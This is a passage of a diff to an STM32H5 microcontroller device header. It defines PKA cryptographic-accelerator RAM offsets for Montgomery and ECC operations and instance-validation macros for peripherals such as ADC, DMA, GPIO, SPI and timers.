PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MONTGOMERY_MUL_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Montgomery multiplication output data */ +#define PKA_MONTGOMERY_MUL_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Generic Arithmetic input data */ +#define PKA_ARITHMETIC_ALL_OPS_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP3 ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Generic Arithmetic output data */ +#define PKA_ARITHMETIC_ALL_OPS_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result for arithmetic operations */ + +/* Compute ECC complete addition input data */ +#define PKA_ECC_COMPLETE_ADD_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_COMPLETE_ADD_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_COMPLETE_ADD_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve '|a|' coefficient */ +#define PKA_ECC_COMPLETE_ADD_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_X ((0x0628UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_Y ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_Z ((0x06D8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Z coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_X ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q X coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_Y ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_Z ((0x07E0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Z coordinate */ + +/* Compute ECC complete addition output data */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_X ((0x0D60UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_Y ((0x0DB8UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_Z ((0x0E10UL - PKA_RAM_OFFSET)>>2) /*!< Output result Z coordinate */ + +/* Compute ECC double base ladder input data */ +#define PKA_ECC_DOUBLE_LADDER_IN_PRIME_ORDER_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ +#define PKA_ECC_DOUBLE_LADDER_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_DOUBLE_LADDER_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve '|a|' coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_DOUBLE_LADDER_IN_K_INTEGER ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input 'k' integer coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_M_INTEGER ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input 'm' integer coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_X ((0x0628UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_Y ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_Z ((0x06D8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Z coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_X ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q X coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_Y ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Y coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_Z ((0x07E0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Z coordinate */ + +/* Compute ECC double base ladder output data */ +#define PKA_ECC_DOUBLE_LADDER_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate (affine coordinate) */ +#define PKA_ECC_DOUBLE_LADDER_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate (affine coordinate) */ +#define PKA_ECC_DOUBLE_LADDER_OUT_ERROR ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/* Compute ECC projective to affine conversion input data */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_X ((0x0D60UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P X coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_Y ((0x0DB8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P Y coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_Z ((0x0E10UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P Z coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MONTGOMERY_PARAM_R2 ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ + +/* Compute ECC projective to affine conversion output data */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result x affine coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result y affine coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + + +/** @addtogroup STM32H5xx_Peripheral_Exported_macros + * @{ + */ + +/******************************* ADC Instances ********************************/ +#define IS_ADC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == ADC1_NS) || \ + ((INSTANCE) == ADC1_S)|| \ + ((INSTANCE) == ADC2_NS)|| \ + ((INSTANCE) == ADC2_S)) + +#define IS_ADC_MULTIMODE_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == ADC1_NS) || \ + ((INSTANCE) == ADC1_S)) + + +#define IS_ADC_COMMON_INSTANCE(INSTANCE) (((INSTANCE) == ADC12_COMMON_NS) || \ + ((INSTANCE) == ADC12_COMMON_S)) +/******************************* PKA Instances ********************************/ +#define IS_PKA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == PKA_NS) || ((INSTANCE) == PKA_S)) + +/******************************* CORDIC Instances *****************************/ +#define IS_CORDIC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CORDIC_NS) || ((INSTANCE) == CORDIC_S)) + +/******************************* CRC Instances ********************************/ +#define IS_CRC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CRC_NS) || ((INSTANCE) == CRC_S)) + +/******************************* DAC Instances ********************************/ +#define IS_DAC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DAC1_NS) || ((INSTANCE) == DAC1_S)) + +/******************************* DCACHE Instances *****************************/ +#define IS_DCACHE_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DCACHE1_NS) || ((INSTANCE) == DCACHE1_S)) + +/******************************* DELAYBLOCK Instances *******************************/ +#define IS_DLYB_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DLYB_SDMMC1_NS) || \ + ((INSTANCE) == DLYB_SDMMC2_NS) || \ + ((INSTANCE) == DLYB_SDMMC1_S) || \ + ((INSTANCE) == DLYB_SDMMC2_S) || \ + ((INSTANCE) == DLYB_OCTOSPI1_NS) || \ + ((INSTANCE) == DLYB_OCTOSPI1_S )) +/******************************** DMA Instances *******************************/ +#define IS_DMA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel0_NS) || ((INSTANCE) == GPDMA1_Channel0_S) || \ + ((INSTANCE) == GPDMA1_Channel1_NS) || ((INSTANCE) == GPDMA1_Channel1_S) || \ + ((INSTANCE) == GPDMA1_Channel2_NS) || ((INSTANCE) == GPDMA1_Channel2_S) || \ + ((INSTANCE) == GPDMA1_Channel3_NS) || ((INSTANCE) == GPDMA1_Channel3_S) || \ + ((INSTANCE) == GPDMA1_Channel4_NS) || ((INSTANCE) == GPDMA1_Channel4_S) || \ + ((INSTANCE) == GPDMA1_Channel5_NS) || ((INSTANCE) == GPDMA1_Channel5_S) || \ + ((INSTANCE) == GPDMA1_Channel6_NS) || ((INSTANCE) == GPDMA1_Channel6_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA2_Channel0_NS) || ((INSTANCE) == GPDMA2_Channel0_S) || \ + ((INSTANCE) == GPDMA2_Channel1_NS) || ((INSTANCE) == GPDMA2_Channel1_S) || \ + ((INSTANCE) == GPDMA2_Channel2_NS) || ((INSTANCE) == GPDMA2_Channel2_S) || \ + ((INSTANCE) == GPDMA2_Channel3_NS) || ((INSTANCE) == GPDMA2_Channel3_S) || \ + ((INSTANCE) == GPDMA2_Channel4_NS) || ((INSTANCE) == GPDMA2_Channel4_S) || \ + ((INSTANCE) == GPDMA2_Channel5_NS) || ((INSTANCE) == GPDMA2_Channel5_S) || \ + ((INSTANCE) == GPDMA2_Channel6_NS) || ((INSTANCE) == GPDMA2_Channel6_S) || \ + ((INSTANCE) == GPDMA2_Channel7_NS) || ((INSTANCE) == GPDMA2_Channel7_S)) + +#define IS_GPDMA_INSTANCE(INSTANCE) IS_DMA_ALL_INSTANCE(INSTANCE) + +#define IS_DMA_2D_ADDRESSING_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel6_NS) || ((INSTANCE) == GPDMA1_Channel6_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA2_Channel6_NS) || ((INSTANCE) == GPDMA2_Channel6_S) || \ + ((INSTANCE) == GPDMA2_Channel7_NS) || ((INSTANCE) == GPDMA2_Channel7_S)) + +#define IS_DMA_PFREQ_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel0_NS) || ((INSTANCE) == GPDMA1_Channel0_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA2_Channel0_NS) || ((INSTANCE) == GPDMA2_Channel0_S) || \ + ((INSTANCE) == GPDMA2_Channel7_NS) || ((INSTANCE) == GPDMA2_Channel7_S)) + +/****************************** RAMCFG Instances ********************************/ +#define IS_RAMCFG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM1_NS) || ((INSTANCE) == RAMCFG_SRAM1_S) || \ + ((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/***************************** RAMCFG ECC Instances *****************************/ +#define IS_RAMCFG_ECC_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/************************ RAMCFG Write Protection Instances *********************/ +#define IS_RAMCFG_WP_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S)) + + +/******************************** FMAC Instances ******************************/ +#define IS_FMAC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == FMAC_NS) || ((INSTANCE) == FMAC_S)) + +/******************************* GPIO Instances *******************************/ +#define IS_GPIO_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPIOA_NS) || ((INSTANCE) == GPIOA_S) || \ + ((INSTANCE) == GPIOB_NS) || ((INSTANCE) == GPIOB_S) || \ + ((INSTANCE) == GPIOC_NS) || ((INSTANCE) == GPIOC_S) || \ + ((INSTANCE) == GPIOD_NS) || ((INSTANCE) == GPIOD_S) || \ + ((INSTANCE) == GPIOE_NS) || ((INSTANCE) == GPIOE_S) || \ + ((INSTANCE) == GPIOF_NS) || ((INSTANCE) == GPIOF_S) || \ + ((INSTANCE) == GPIOG_NS) || ((INSTANCE) == GPIOG_S) || \ + ((INSTANCE) == GPIOH_NS) || ((INSTANCE) == GPIOH_S) || \ + ((INSTANCE) == GPIOI_NS) || ((INSTANCE) == GPIOI_S)) + +/******************************* DCMI Instances *******************************/ +#define IS_DCMI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DCMI_NS) || ((__INSTANCE__) == DCMI_S)) + +/******************************* PSSI Instances *******************************/ +#define IS_PSSI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == PSSI_NS) || ((__INSTANCE__) == PSSI_S)) + +/******************************* DTS Instances *******************************/ +#define IS_DTS_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DTS_NS) || ((__INSTANCE__) == DTS_S)) + +/******************************* GPIO AF Instances ****************************/ +/* On H5, all GPIO Bank support AF */ +#define IS_GPIO_AF_INSTANCE(INSTANCE) IS_GPIO_ALL_INSTANCE(INSTANCE) + +/**************************** GPIO Lock Instances *****************************/ +/* On H5, all GPIO Bank support the Lock mechanism */ +#define IS_GPIO_LOCK_INSTANCE(INSTANCE) IS_GPIO_ALL_INSTANCE(INSTANCE) + +/******************************** I2C Instances *******************************/ +#define IS_I2C_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S)) + +/****************** I2C Instances : wakeup capability from stop modes *********/ +#define IS_I2C_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) IS_I2C_ALL_INSTANCE(INSTANCE) + +/******************************** I3C Instances *******************************/ +#define IS_I3C_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I3C1_NS) || ((INSTANCE) == I3C1_S)) + +/******************************* OSPI Instances *******************************/ +#define IS_OSPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OCTOSPI1_NS) || ((INSTANCE) == OCTOSPI1_S)) + +/******************************* RNG Instances ********************************/ +#define IS_RNG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RNG_NS) || ((INSTANCE) == RNG_S)) + +/****************************** RTC Instances *********************************/ +#define IS_RTC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RTC_NS) || ((INSTANCE) == RTC_S)) + +/******************************** SAI Instances *******************************/ +#define IS_SAI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SAI1_Block_A_NS) || ((INSTANCE) == SAI1_Block_A_S) || \ + ((INSTANCE) == SAI1_Block_B_NS) || ((INSTANCE) == SAI1_Block_B_S) || \ + ((INSTANCE) == SAI2_Block_A_NS) || ((INSTANCE) == SAI2_Block_A_S) || \ + ((INSTANCE) == SAI2_Block_B_NS) || ((INSTANCE) == SAI2_Block_B_S)) + +/****************************** SDMMC Instances *******************************/ +#define IS_SDMMC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SDMMC1_NS) || ((INSTANCE) == SDMMC1_S) || \ + ((INSTANCE) == SDMMC2_NS) || ((INSTANCE) == SDMMC2_S)) + +/****************************** FDCAN Instances *******************************/ +#define IS_FDCAN_ALL_INSTANCE(INSTANCE) (((INSTANCE) == FDCAN1_NS) || ((INSTANCE) == FDCAN1_S) || \ + ((INSTANCE) == FDCAN2_NS) || ((INSTANCE) == FDCAN2_S)) + +/****************************** SMBUS Instances *******************************/ +#define IS_SMBUS_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S)) + +/******************************** SPI Instances *******************************/ +#define IS_SPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S) || \ + ((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S) || \ + ((INSTANCE) == SPI4_NS) || ((INSTANCE) == SPI4_S) || \ + ((INSTANCE) == SPI5_NS) || ((INSTANCE) == SPI5_S) || \ + ((INSTANCE) == SPI6_NS) || ((INSTANCE) == SPI6_S)) + +#define IS_SPI_LIMITED_INSTANCE(INSTANCE) (((INSTANCE) == SPI4_NS) || ((INSTANCE) == SPI4_S) || \ + ((INSTANCE) == SPI5_NS) || ((INSTANCE) == SPI5_S) || \ + ((INSTANCE) == SPI6_NS) || ((INSTANCE) == SPI6_S)) + +#define IS_SPI_FULL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S) || \ + ((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +/****************** LPTIM Instances : All supported instances *****************/ +#define IS_LPTIM_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM4_NS) || ((INSTANCE) == LPTIM4_S) ||\ + ((INSTANCE) == LPTIM5_NS) || ((INSTANCE) == LPTIM5_S) ||\ + ((INSTANCE) == LPTIM6_NS) || ((INSTANCE) == LPTIM6_S)) + +/****************** LPTIM Instances : DMA supported instances *****************/ +#define IS_LPTIM_DMA_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM5_NS) || ((INSTANCE) == LPTIM5_S) ||\ + ((INSTANCE) == LPTIM6_NS) || ((INSTANCE) == LPTIM6_S)) + +/************* LPTIM Instances : at least 1 capture/compare channel ***********/ +#define IS_LPTIM_CC1_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM4_NS) || ((INSTANCE) == LPTIM4_S) ||\ + ((INSTANCE) == LPTIM5_NS) || ((INSTANCE) == LPTIM5_S) ||\ + ((INSTANCE) == LPTIM6_NS) || ((INSTANCE) == LPTIM6_S)) + +/************* LPTIM Instances : at least 2 capture/compare channel ***********/ +#define IS_LPTIM_CC2_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM5_NS) || ((INSTANCE) == LPTIM5_S) ||\ + ((INSTANCE) == LPTIM6_NS) || ((INSTANCE) == LPTIM6_S)) + +/****************** LPTIM Instances : supporting encoder interface **************/ +#define IS_LPTIM_ENCODER_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM5_NS) || ((INSTANCE) == LPTIM5_S) ||\ + ((INSTANCE) == LPTIM6_NS) || ((INSTANCE) == LPTIM6_S)) + +/****************** LPTIM Instances : supporting Input Capture **************/ +#define IS_LPTIM_INPUT_CAPTURE_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM5_NS) || ((INSTANCE) == LPTIM5_S) ||\ + ((INSTANCE) == LPTIM6_NS) || ((INSTANCE) == LPTIM6_S)) + +/****************** TIM Instances : All supported instances *******************/ +#define IS_TIM_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM13_NS) || ((INSTANCE) == TIM13_S) || \ + ((INSTANCE) == TIM14_NS) || ((INSTANCE) == TIM14_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting 32 bits counter ****************/ +#define IS_TIM_32B_COUNTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S)) + +/****************** TIM Instances : supporting the break function *************/ +#define IS_TIM_BREAK_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************** TIM Instances : supporting Break source selection *************/ +#define IS_TIM_BREAKSOURCE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting 2 break inputs *****************/ +#define IS_TIM_BKIN2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************* TIM Instances : at least 1 capture/compare channel *************/ +#define IS_TIM_CC1_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM13_NS) || ((INSTANCE) == TIM13_S) || \ + ((INSTANCE) == TIM14_NS) || ((INSTANCE) == TIM14_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************ TIM Instances : at least 2 capture/compare channels *************/ +#define IS_TIM_CC2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/************ TIM Instances : at least 3 capture/compare channels *************/ +#define IS_TIM_CC3_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************ TIM Instances : at least 4 capture/compare channels *************/ +#define IS_TIM_CC4_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : at least 5 capture/compare channels *******/ +#define IS_TIM_CC5_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : at least 6 capture/compare channels *******/ +#define IS_TIM_CC6_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : DMA requests generation (TIMx_DIER.UDE) ***/ +#define IS_TIM_DMA_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == 